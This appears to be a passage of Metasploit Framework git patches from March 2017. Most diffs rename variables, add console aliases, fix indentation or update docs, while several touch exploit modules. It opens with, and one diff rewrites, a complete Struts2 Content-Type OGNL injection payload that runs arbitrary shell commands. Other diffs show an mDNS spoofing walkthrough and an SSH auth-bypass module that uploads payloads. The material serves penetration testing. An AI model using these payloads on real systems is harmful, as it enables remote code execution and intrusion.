java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" + "Content-Type"=> +"%{(#nike='multipart/form-data')."\ +"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."\ +"("\ + "#_memberAccess?(#_memberAccess=#dm):"\ + "("\ + "(#container=#context['com.opensymphony.xwork2.ActionContext.container'])."\ + "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."\ + "(#ognlUtil.getExcludedPackageNames().clear())."\ + "(#ognlUtil.getExcludedClasses().clear())."\ + "(#context.setMemberAccess(#dm)))"\ + ")."\ + "(#cmd='"+cmd+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" } data = '----------1529557865\r\n\Content-Disposition: form-data; name="file"; filename="test.txt"\r\n\000' print_status("Target URI: #{uri}") From e07d5332de4549e0e93ee07953b7b5918ab525c8 Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 9 Mar 2017 13:54:00 -0600 Subject: [PATCH 352/426] Don't step on the payload accessor --- .../multi/http/struts2_code_exec_jakarta.rb | 72 +++++++++---------- 1 file changed, 36 insertions(+), 36 deletions(-) diff --git a/modules/exploits/multi/http/struts2_code_exec_jakarta.rb b/modules/exploits/multi/http/struts2_code_exec_jakarta.rb index aaf155328e..622896efa2 100644 --- a/modules/exploits/multi/http/struts2_code_exec_jakarta.rb +++ b/modules/exploits/multi/http/struts2_code_exec_jakarta.rb @@ -46,14 +46,14 @@ class MetasploitModule < Msf::Exploit::Remote super("#{peer} - #{msg}") end - def send_http_request(payload) + def send_http_request(content_type) uri = normalize_uri(datastore["TARGETURI"]) resp = send_request_cgi( 'uri' => uri, 'version' => '1.1', 'method' => 'GET', 'headers' => { - 'Content-Type': payload + 'Content-Type': content_type } ) @@ -64,47 +64,47 @@ class MetasploitModule < Msf::Exploit::Remote end def http_send_command(cmd) - payload = "%{(#_='multipart/form-data')." - payload << "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." - payload << "(#_memberAccess?" - payload << "(#_memberAccess=#dm):" - payload << "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." - payload << "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." - payload << "(#ognlUtil.getExcludedPackageNames().clear())." - payload << "(#ognlUtil.getExcludedClasses().clear())." - payload << "(#context.setMemberAccess(#dm))))." - payload << "(#cmd='#{cmd}')." - payload << "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." - payload << "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." - payload << "(#p=new java.lang.ProcessBuilder(#cmds))." - payload << "(#p.redirectErrorStream(true))." - payload << "(#process=#p.start())." - payload << "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." - payload << "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." - payload << "(#ros.flush())}" - send_http_request(payload) + content_type = "%{(#_='multipart/form-data')." + content_type << "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." + content_type << "(#_memberAccess?" + content_type << "(#_memberAccess=#dm):" + content_type << "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." + content_type << "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." + content_type << "(#ognlUtil.getExcludedPackageNames().clear())." + content_type << "(#ognlUtil.getExcludedClasses().clear())." + content_type << "(#context.setMemberAccess(#dm))))." + content_type << "(#cmd='#{cmd}')." + content_type << "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." + content_type << "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." + content_type << "(#p=new java.lang.ProcessBuilder(#cmds))." + content_type << "(#p.redirectErrorStream(true))." + content_type << "(#process=#p.start())." + content_type << "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." + content_type << "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." + content_type << "(#ros.flush())}" + send_http_request(content_type) end def check var_a = rand_text_alpha_lower(4) - payload = "" - payload << %q|%{| - payload << %q|(#_='multipart/form-data').| - payload << %q|(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).| - payload << %q|(#_memberAccess?| - payload << %q|(#_memberAccess=#dm):| - payload << %q|((#container=#context['com.opensymphony.xwork2.ActionContext.container']).| - payload << %q|(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).| - payload << %q|(#ognlUtil.getExcludedPackageNames().clear()).| - payload << %q|(#ognlUtil.getExcludedClasses().clear()).| - payload << %q|(#context.setMemberAccess(#dm)))).| - payload << %q|(#os=@java.lang.System@getProperty('os.name')).| - payload << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))| - payload << %q|}| + content_type = "" + content_type << %q|%{| + content_type << %q|(#_='multipart/form-data').| + content_type << %q|(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).| + content_type << %q|(#_memberAccess?| + content_type << %q|(#_memberAccess=#dm):| + content_type << %q|((#container=#context['com.opensymphony.xwork2.ActionContext.container']).| + content_type << %q|(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).| + content_type << %q|(#ognlUtil.getExcludedPackageNames().clear()).| + content_type << %q|(#ognlUtil.getExcludedClasses().clear()).| + content_type << %q|(#context.setMemberAccess(#dm)))).| + content_type << %q|(#os=@java.lang.System@getProperty('os.name')).| + content_type << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))| + content_type << %q|}| begin - resp = send_http_request(payload) + resp = send_http_request(content_type) rescue Msf::Exploit::Failed return Exploit::CheckCode::Unknown end From e7b65587b4999315ecdd57179bc3fbd5f30e40a2 Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 9 Mar 2017 14:19:06 -0600 Subject: [PATCH 353/426] Move to a more descriptive name --- ...{struts2_code_exec_jakarta.rb => struts2_content_type_ognl.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/multi/http/{struts2_code_exec_jakarta.rb => struts2_content_type_ognl.rb} (100%) diff --git a/modules/exploits/multi/http/struts2_code_exec_jakarta.rb b/modules/exploits/multi/http/struts2_content_type_ognl.rb similarity index 100% rename from modules/exploits/multi/http/struts2_code_exec_jakarta.rb rename to modules/exploits/multi/http/struts2_content_type_ognl.rb From febe9625ddfd0436d5a274d132b37293bdae655d Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 9 Mar 2017 15:30:34 -0600 Subject: [PATCH 354/426] Add rcheck/recheck to aux modules and exploits --- .../console/command_dispatcher/auxiliary.rb | 20 ++++++++++++++++--- .../ui/console/command_dispatcher/exploit.rb | 5 ++++- 2 files changed, 21 insertions(+), 4 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/auxiliary.rb b/lib/msf/ui/console/command_dispatcher/auxiliary.rb index 19bf3fb964..32efa7a978 100644 --- a/lib/msf/ui/console/command_dispatcher/auxiliary.rb +++ b/lib/msf/ui/console/command_dispatcher/auxiliary.rb @@ -27,9 +27,11 @@ class Auxiliary # def commands super.update({ - "run" => "Launches the auxiliary module", - "rerun" => "Reloads and launches the auxiliary module", - "exploit" => "This is an alias for the run command", + "run" => "Launches the auxiliary module", + "rcheck" => "Reloads the module and checks if the target is vulnerable", + "rerun" => "Reloads and launches the auxiliary module", + "exploit" => "This is an alias for the run command", + "recheck" => "This is an alias for the rcheck command", "rexploit" => "This is an alias for the rerun command", "reload" => "Reloads the auxiliary module" }).merge( (mod ? mod.auxiliary_commands : {}) ) @@ -147,6 +149,18 @@ class Auxiliary alias cmd_exploit_help cmd_run_help + # + # Reloads an auxiliary module and checks the target to see if it's + # vulnerable. + # + def cmd_rcheck(*args) + reload() + + cmd_check(*args) + end + + alias cmd_recheck cmd_rcheck + end end end end end diff --git a/lib/msf/ui/console/command_dispatcher/exploit.rb b/lib/msf/ui/console/command_dispatcher/exploit.rb index d2c542c280..a65c1a2093 100644 --- a/lib/msf/ui/console/command_dispatcher/exploit.rb +++ b/lib/msf/ui/console/command_dispatcher/exploit.rb @@ -32,9 +32,10 @@ class Exploit "exploit" => "Launch an exploit attempt", "rcheck" => "Reloads the module and checks if the target is vulnerable", "rexploit" => "Reloads the module and launches an exploit attempt", - "reload" => "Just reloads the module", "run" => "Alias for exploit", + "recheck" => "Alias for rcheck", "rerun" => "Alias for rexploit", + "reload" => "Just reloads the module" }) end @@ -186,6 +187,8 @@ class Exploit cmd_check(*args) end + alias cmd_recheck cmd_rcheck + # # Reloads an exploit module and launches an exploit. # From ccf345f696952fd8e8971422253c8d581b3227eb Mon Sep 17 00:00:00 2001 From: Noah Berman Date: Thu, 9 Mar 2017 14:32:51 -0700 Subject: [PATCH 355/426] move method to module level --- lib/msf/core/handler/reverse.rb | 24 +++++++++++------------- lib/msf/core/handler/reverse_http.rb | 13 ------------- 2 files changed, 11 insertions(+), 26 deletions(-) diff --git a/lib/msf/core/handler/reverse.rb b/lib/msf/core/handler/reverse.rb index 39dced60c2..d6c3d712c6 100644 --- a/lib/msf/core/handler/reverse.rb +++ b/lib/msf/core/handler/reverse.rb @@ -49,13 +49,23 @@ module Msf addrs end - # @return [Integer] def bind_port port = datastore['ReverseListenerBindPort'].to_i (port > 0) ? port : datastore['LPORT'].to_i end + # Checking if LHOST is a loopback address + def is_loopback_address(address) + begin + a = IPAddr.new(address.to_s) + return true if IPAddr.new('127.0.0.1/8') === a + return true if IPAddr.new('::1') === a + rescue + end + return false + end + # # Starts the listener but does not actually attempt # to accept a connection. Throws socket exceptions @@ -84,18 +94,6 @@ module Msf 'MsfExploit' => assoc_exploit }) - #Checking whether LHOST is a loopback address - - def is_loopback_address(address) - begin - a = IPAddr.new(address.to_s) - return true if IPAddr.new('127.0.0.1/8') === a - return true if IPAddr.new('::1') === a - rescue - end - return false - end - if is_loopback_address(ip) print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{ip}, did you mean to set ReverseListenerBindAddress instead?") end diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index d2025c9f36..ae4dc2f8a2 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -356,19 +356,6 @@ protected print_status("Staging #{uuid.arch} payload (#{blob.length} bytes) ...") - - # Checking whether LHOST is a loopback address - - def is_loopback_address(address) - begin - a = IPAddr.new(address.to_s) - return true if IPAddr.new('127.0.0.1/8') === a - return true if IPAddr.new('::1') === a - rescue - end - return false - end - if is_loopback_address(uri.host) print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{uri.host}, did you mean to set ReverseListenerBindAddress instead?") end From ef6831437a21d77565d66bb3eaad5aa350bfd457 Mon Sep 17 00:00:00 2001 From: Noah Berman Date: Thu, 9 Mar 2017 14:55:20 -0700 Subject: [PATCH 356/426] indentation fix for clarity --- lib/msf/core/handler/reverse.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/handler/reverse.rb b/lib/msf/core/handler/reverse.rb index d6c3d712c6..ca185f2ba5 100644 --- a/lib/msf/core/handler/reverse.rb +++ b/lib/msf/core/handler/reverse.rb @@ -94,9 +94,9 @@ module Msf 'MsfExploit' => assoc_exploit }) - if is_loopback_address(ip) - print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{ip}, did you mean to set ReverseListenerBindAddress instead?") - end + if is_loopback_address(ip) + print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{ip}, did you mean to set ReverseListenerBindAddress instead?") + end rescue ex = $! From ad929b6427731f74eca2099546e3b8f87ba9d3c9 Mon Sep 17 00:00:00 2001 From: Noah Berman Date: Thu, 9 Mar 2017 15:44:09 -0700 Subject: [PATCH 357/426] indentation fix part 2 --- lib/msf/core/handler/reverse.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/handler/reverse.rb b/lib/msf/core/handler/reverse.rb index ca185f2ba5..cf68238e89 100644 --- a/lib/msf/core/handler/reverse.rb +++ b/lib/msf/core/handler/reverse.rb @@ -95,8 +95,8 @@ module Msf }) if is_loopback_address(ip) - print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{ip}, did you mean to set ReverseListenerBindAddress instead?") - end + print_warning ("You are attempting to listen on a loopback address by setting LHOST to #{ip}, did you mean to set ReverseListenerBindAddress instead?") + end rescue ex = $! From 84b94491377d49674baaadae11290b3eae77b7d9 Mon Sep 17 00:00:00 2001 From: jvoisin Date: Fri, 10 Mar 2017 14:16:58 +0100 Subject: [PATCH 358/426] Add some binaries to enum_protections - gradm2 for grsec - aa-status for apparmor - getenforce for setlinux --- modules/post/linux/gather/enum_protections.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/post/linux/gather/enum_protections.rb b/modules/post/linux/gather/enum_protections.rb index 97d4ea05a8..a3fec3f4f8 100644 --- a/modules/post/linux/gather/enum_protections.rb +++ b/modules/post/linux/gather/enum_protections.rb @@ -71,7 +71,8 @@ class MetasploitModule < Msf::Post "truecrypt", "bulldog", "ufw", "iptables", "logrotate", "logwatch", "chkrootkit", "clamav", "snort", "tiger", "firestarter", "avast", "lynis", "rkhunter", "tcpdump", "webmin", "jailkit", "pwgen", "proxychains", "bastille", - "psad", "wireshark", "nagios", "nagios", "apparmor", "honeyd", "thpot" + "psad", "wireshark", "nagios", "nagios", "apparmor", "honeyd", "thpot", + "aa-status", "gradm2", "getenforce" ] env_paths = cmd_exec("echo $PATH").split(":") From c0f17cf6b80337010265bbac7f68e339d0d09377 Mon Sep 17 00:00:00 2001 From: itsmeroy2012 Date: Fri, 10 Mar 2017 22:16:27 +0530 Subject: [PATCH 359/426] msftidy error updated 2.0 --- modules/exploits/linux/http/mvpower_dvr_shell_exec.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb b/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb index 44154f54df..9aa11584b8 100644 --- a/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb +++ b/modules/exploits/linux/http/mvpower_dvr_shell_exec.rb @@ -60,6 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote begin fingerprint = Rex::Text::rand_text_alpha(rand(10) + 6) res = send_request_cgi( + 'method' => "GET", 'uri' => "/shell?echo+#{fingerprint}", 'headers' => { 'Connection' => 'Keep-Alive' } ) @@ -75,6 +76,7 @@ class MetasploitModule < Msf::Exploit::Remote def execute_command(cmd, opts) begin send_request_cgi( + 'method' => "GET", 'uri' => "/shell?#{Rex::Text.uri_encode(cmd, 'hex-all')}", 'headers' => { 'Connection' => 'Keep-Alive' } ) From 6d8789a56e6127ebcc13aa0a64f692f3b779cc5b Mon Sep 17 00:00:00 2001 From: itsmeroy2012 Date: Fri, 10 Mar 2017 23:03:37 +0530 Subject: [PATCH 360/426] Updated msftidy error 2.1 --- modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb b/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb index 59f6704439..acd5912c78 100644 --- a/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb +++ b/modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb @@ -104,6 +104,7 @@ class MetasploitModule < Msf::Exploit::Remote def check begin res = send_request_cgi({ + 'method' => "GET", 'uri' => '/globe' # TODO: Check this? Why not /UD/act?1 }) rescue ::Rex::ConnectionError From 1c54e0ba94dbf84daefd3372332664b0646cfc53 Mon Sep 17 00:00:00 2001 From: itsmeroy2012 Date: Fri, 10 Mar 2017 23:59:38 +0530 Subject: [PATCH 361/426] msftidy error updated 2.2 --- modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb b/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb index ef0b02f918..a6b56acccd 100644 --- a/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb +++ b/modules/exploits/linux/http/trueonline_p660hn_v2_rce.rb @@ -98,8 +98,8 @@ class MetasploitModule < Msf::Exploit::Remote @cookie = rand_text_alpha_lower(7) res = send_request_cgi({ + 'method' => "GET", 'uri' => '/cgi-bin/index.asp?' + Rex::Text.encode_base64("#{datastore['USERNAME']}:#{datastore['PASSWORD']}"), - 'method' => 'POST', 'cookie' => "SESSIONID=#{@cookie}", 'vars_post' => { 'Loginuser' => 'supervisor', From 45e0a3d0f8f9c600e5035390754e27b710ecd92b Mon Sep 17 00:00:00 2001 From: dmohanty-r7 Date: Fri, 10 Mar 2017 15:42:07 -0600 Subject: [PATCH 362/426] Add module docs for mdns_response --- .../auxiliary/spoof/mdns/mdns_response.md | 71 +++++++++++++++++++ 1 file changed, 71 insertions(+) create mode 100644 documentation/modules/auxiliary/spoof/mdns/mdns_response.md diff --git a/documentation/modules/auxiliary/spoof/mdns/mdns_response.md b/documentation/modules/auxiliary/spoof/mdns/mdns_response.md new file mode 100644 index 0000000000..a3609b960d --- /dev/null +++ b/documentation/modules/auxiliary/spoof/mdns/mdns_response.md @@ -0,0 +1,71 @@ +This module will listen for mDNS multicast requests on 5353/udp for A and AAAA record queries, and respond with a spoofed IP address (assuming the request matches our regex). + +## Vulnerable Application + +To use mdns_response, be on a network with devices/applications that can make mDNS multicast requests on 5353/udp for A and AAAA record queries. + +## Verification Steps + + 1. `use auxiliary/spoof/mdns/mdns_response` + 2. `set INTERFACE network_iface` + 3. `set SPOOFIP4 10.x.x.x` + 4. `run` + +## Options + +**The SPOOFIP4 option** + +IPv4 address with which to spoof A-record queries + +``` +set SPOOFIP4 [IPv4 address] +``` + +**The SPOOFIP6 option** + +IPv6 address with which to spoof AAAA-record queries + +``` +set SPOOFIP6 [IPv6 address] +``` + +**The REGEX option** + +Regex applied to the mDNS to determine if spoofed reply is sent + +``` +set REGEX [regex] +``` + +**The TTL option** + +Time To Live for the spoofed response (in seconds) + +``` +set TTL [number of seconds] +``` + +## Scenarios + +``` +msf > use auxiliary/spoof/mdns/mdns_response +msf auxiliary(mdns_response) > set SPOOFIP4 10.x.x.y +SPOOFIP4 => 10.x.x.y +msf auxiliary(mdns_response) > set INTERFACE en3 +INTERFACE => en3 +msf auxiliary(mdns_response) > run +[*] Auxiliary module execution completed +msf auxiliary(mdns_response) > +[*] mDNS spoofer started. Listening for mDNS requests with REGEX "(?-mix:.*)" ... +``` + +On Victim Machine +``` +ping something.local +``` +(IP address should resolve to spoofed address) + + +``` +[+] 10.x.x.z mDNS - something.local. matches regex, responding with 10.x.x.y +``` From b55ee87e2d09d40adf3a4760f805e119d91d0b71 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Fri, 10 Mar 2017 22:39:18 -0600 Subject: [PATCH 363/426] support rails usage of spec files list --- metasploit-framework.gemspec | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 3e8173ee55..1655ebf86f 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -2,7 +2,7 @@ # During build, the Gemfile is temporarily moved and # we must manually define the project root -if ENV['MSF_ROOT'] +if ENV['MSF_ROOT'] || ENV['RAILS_ENV'] lib = File.realpath(File.expand_path('lib', ENV['MSF_ROOT'])) files = `git ls-files`.split($/).reject { |file| file =~ /^documentation|^data\/gui|^external/ From 4e32c80e8ed9c5714a5fcb2f7bc4a237d155fa86 Mon Sep 17 00:00:00 2001 From: Pearce Barry Date: Sat, 11 Mar 2017 17:44:05 -0600 Subject: [PATCH 364/426] Use the Msf::Exploit::CmdStager mixin. Fixes #8092. --- modules/exploits/windows/ssh/freesshd_authbypass.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/ssh/freesshd_authbypass.rb b/modules/exploits/windows/ssh/freesshd_authbypass.rb index 38c126d06c..d4ee440cae 100644 --- a/modules/exploits/windows/ssh/freesshd_authbypass.rb +++ b/modules/exploits/windows/ssh/freesshd_authbypass.rb @@ -10,6 +10,7 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp include Msf::Exploit::EXE + include Msf::Exploit::CmdStager def initialize(info={}) super(update_info(info, @@ -86,7 +87,7 @@ class MetasploitModule < Msf::Exploit::Remote cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe) opts = { :linemax => 1700, - :decoder => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64"), + :decoder => default_decoder(:vbs) } cmds = cmdstager.generate(opts) From 8638f9ec7e0e153b66779ac34f7e7753a7fdcf0d Mon Sep 17 00:00:00 2001 From: William Vu Date: Sat, 11 Mar 2017 19:59:39 -0600 Subject: [PATCH 365/426] Update freesshd_authbypass to use CmdStager fully --- .../windows/ssh/freesshd_authbypass.rb | 32 ++++--------------- 1 file changed, 7 insertions(+), 25 deletions(-) diff --git a/modules/exploits/windows/ssh/freesshd_authbypass.rb b/modules/exploits/windows/ssh/freesshd_authbypass.rb index d4ee440cae..5cfa961329 100644 --- a/modules/exploits/windows/ssh/freesshd_authbypass.rb +++ b/modules/exploits/windows/ssh/freesshd_authbypass.rb @@ -9,7 +9,6 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp - include Msf::Exploit::EXE include Msf::Exploit::CmdStager def initialize(info={}) @@ -81,24 +80,8 @@ class MetasploitModule < Msf::Exploit::Remote end - def upload_payload(connection) - exe = generate_payload_exe - filename = rand_text_alpha(8) + ".exe" - cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe) - opts = { - :linemax => 1700, - :decoder => default_decoder(:vbs) - } - - cmds = cmdstager.generate(opts) - - if (cmds.nil? or cmds.length < 1) - print_error("The command stager could not be generated") - raise ArgumentError - end - cmds.each { |cmd| - connection.exec!("cmd.exe /c "+cmd) - } + def execute_command(cmd, opts = {}) + @connection.exec!("cmd.exe /c "+cmd) end def setup_ssh_options @@ -168,18 +151,17 @@ class MetasploitModule < Msf::Exploit::Remote options = setup_ssh_options - connection = nil + @connection = nil each_user do |username| next if username.empty? - connection=do_login(username,options) - break if connection + @connection=do_login(username,options) + break if @connection end - if connection + if @connection print_status("Uploading payload, this may take several minutes...") - upload_payload(connection) - handler + execute_cmdstager(flavor: :vbs, decoder: default_decoder(:vbs), linemax: 1700) end end From 437cba84b0563fb067757bb1ec03db9e01ed4579 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Sat, 11 Mar 2017 22:13:16 -0600 Subject: [PATCH 366/426] Revert "Land #8090, support rails usage of spec files list" Another approach is needed here. This reverts commit 82073020ef2604748796349a08756afff0e37dcc. This reverts commit b55ee87e2d09d40adf3a4760f805e119d91d0b71. --- metasploit-framework.gemspec | 16 +++++++--------- 1 file changed, 7 insertions(+), 9 deletions(-) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 1655ebf86f..05ac944ffb 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -2,16 +2,12 @@ # During build, the Gemfile is temporarily moved and # we must manually define the project root -if ENV['MSF_ROOT'] || ENV['RAILS_ENV'] +if ENV['MSF_ROOT'] lib = File.realpath(File.expand_path('lib', ENV['MSF_ROOT'])) - files = `git ls-files`.split($/).reject { |file| - file =~ /^documentation|^data\/gui|^external/ - } else - # have to use realpath as metasploit-framework is often loaded through a - # symlink and tools like Coverage and debuggers require realpaths. + # have to use realpath as metasploit-framework is often loaded through a symlink and tools like Coverage and debuggers + # require realpaths. lib = File.realpath(File.expand_path('../lib', __FILE__)) - files = [] end $LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) @@ -28,8 +24,10 @@ Gem::Specification.new do |spec| spec.homepage = 'https://www.metasploit.com' spec.license = 'BSD-3-clause' - spec.files = files - spec.bindir = '.' + spec.files = `git ls-files`.split($/).reject { |file| + file =~ /^documentation|^data\/gui|^external/ + } + spec.bindir = '.' if ENV['CREATE_BINSTUBS'] spec.executables = [ 'msfconsole', From d57b772ac9d5cbffec353607c06e8d4bcbd5b71c Mon Sep 17 00:00:00 2001 From: William Vu Date: Sun, 12 Mar 2017 21:00:38 -0500 Subject: [PATCH 367/426] Bump default RETRIES to 3 --- modules/auxiliary/gather/qnap_backtrace_admin_hash.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/qnap_backtrace_admin_hash.rb b/modules/auxiliary/gather/qnap_backtrace_admin_hash.rb index 0cfab0eed1..cfd8dd9857 100644 --- a/modules/auxiliary/gather/qnap_backtrace_admin_hash.rb +++ b/modules/auxiliary/gather/qnap_backtrace_admin_hash.rb @@ -19,7 +19,7 @@ class MetasploitModule < Msf::Auxiliary Since the server forks, blind remote exploitation is possible, provided the heap does not have ASLR. - Note: you may need to bump RETRIES (default is 0) if the attack fails. + Note: you may need to bump RETRIES (default is 3) if the attack fails. }, 'Author' => [ 'bashis', # Vuln/PoC @@ -43,7 +43,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ OptInt.new('OFFSET_START', [true, 'Starting offset (crash)', 2000]), OptInt.new('OFFSET_END', [true, 'Ending offset (no crash)', 5000]), - OptInt.new('RETRIES', [true, 'Retry count for the attack', 0]) + OptInt.new('RETRIES', [true, 'Retry count for the attack', 3]) ]) register_advanced_options([ From e7c920db448c633004908e11a6e7533ca80ea0c9 Mon Sep 17 00:00:00 2001 From: William Vu Date: Sun, 12 Mar 2017 21:01:48 -0500 Subject: [PATCH 368/426] Remove DEBEUG/print_debeug :( --- .../gather/qnap_backtrace_admin_hash.rb | 17 ----------------- 1 file changed, 17 deletions(-) diff --git a/modules/auxiliary/gather/qnap_backtrace_admin_hash.rb b/modules/auxiliary/gather/qnap_backtrace_admin_hash.rb index cfd8dd9857..ee857ede53 100644 --- a/modules/auxiliary/gather/qnap_backtrace_admin_hash.rb +++ b/modules/auxiliary/gather/qnap_backtrace_admin_hash.rb @@ -45,10 +45,6 @@ class MetasploitModule < Msf::Auxiliary OptInt.new('OFFSET_END', [true, 'Ending offset (no crash)', 5000]), OptInt.new('RETRIES', [true, 'Retry count for the attack', 3]) ]) - - register_advanced_options([ - OptBool.new('DEBEUG', [false, 'Print debugging messages', false]) - ]) end def check @@ -176,8 +172,6 @@ class MetasploitModule < Msf::Auxiliary def send_request(m, ret = nil) @cnt = @cnt.to_i + 1 - print_debeug(m) - payload = Rex::Text.encode_base64( Rex::Text.rand_text(1) * m + (ret ? ret : Rex::Text.rand_text(4)) @@ -193,11 +187,6 @@ class MetasploitModule < Msf::Auxiliary } ) - if res - print_debeug(res.request) - print_debeug(res.headers) - end - res end @@ -209,10 +198,4 @@ class MetasploitModule < Msf::Auxiliary end end - def print_debeug(msg = '') - if datastore['DEBEUG'] - print_line("%bld%cya[!]%clr #{msg}") - end - end - end From 9f76b4d99c6e217734530ca09dc70ff9574023e9 Mon Sep 17 00:00:00 2001 From: William Vu Date: Sun, 12 Mar 2017 21:03:31 -0500 Subject: [PATCH 369/426] Change default RPORT to 443 with SSL I never really tested port 80, so I wonder why I didn't change this. Turns out 80 isn't even the vuln service. Welp. Hat tip @bcoles. --- modules/auxiliary/gather/qnap_backtrace_admin_hash.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/qnap_backtrace_admin_hash.rb b/modules/auxiliary/gather/qnap_backtrace_admin_hash.rb index ee857ede53..e85bc425e1 100644 --- a/modules/auxiliary/gather/qnap_backtrace_admin_hash.rb +++ b/modules/auxiliary/gather/qnap_backtrace_admin_hash.rb @@ -37,10 +37,14 @@ class MetasploitModule < Msf::Auxiliary ['x86', 'Description' => 'x86 target', offset: 0x16b2], ['ARM', 'Description' => 'ARM target', offset: 0x1562] ], - 'DefaultAction' => 'Automatic' + 'DefaultAction' => 'Automatic', + 'DefaultOptions' => { + 'SSL' => true + } )) register_options([ + Opt::RPORT(443), OptInt.new('OFFSET_START', [true, 'Starting offset (crash)', 2000]), OptInt.new('OFFSET_END', [true, 'Ending offset (no crash)', 5000]), OptInt.new('RETRIES', [true, 'Retry count for the attack', 3]) From 78ff7a8865c55c4c5e42477762124096c1641e83 Mon Sep 17 00:00:00 2001 From: wizard32 Date: Mon, 13 Mar 2017 08:22:24 +0200 Subject: [PATCH 370/426] Module renamed Renamed from websphere_java_deserialize.rb to ibm_websphere_java_deserialize.rb --- ...here_java_deserialize.rb => ibm_websphere_java_deserialize.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/windows/misc/{websphere_java_deserialize.rb => ibm_websphere_java_deserialize.rb} (100%) diff --git a/modules/exploits/windows/misc/websphere_java_deserialize.rb b/modules/exploits/windows/misc/ibm_websphere_java_deserialize.rb similarity index 100% rename from 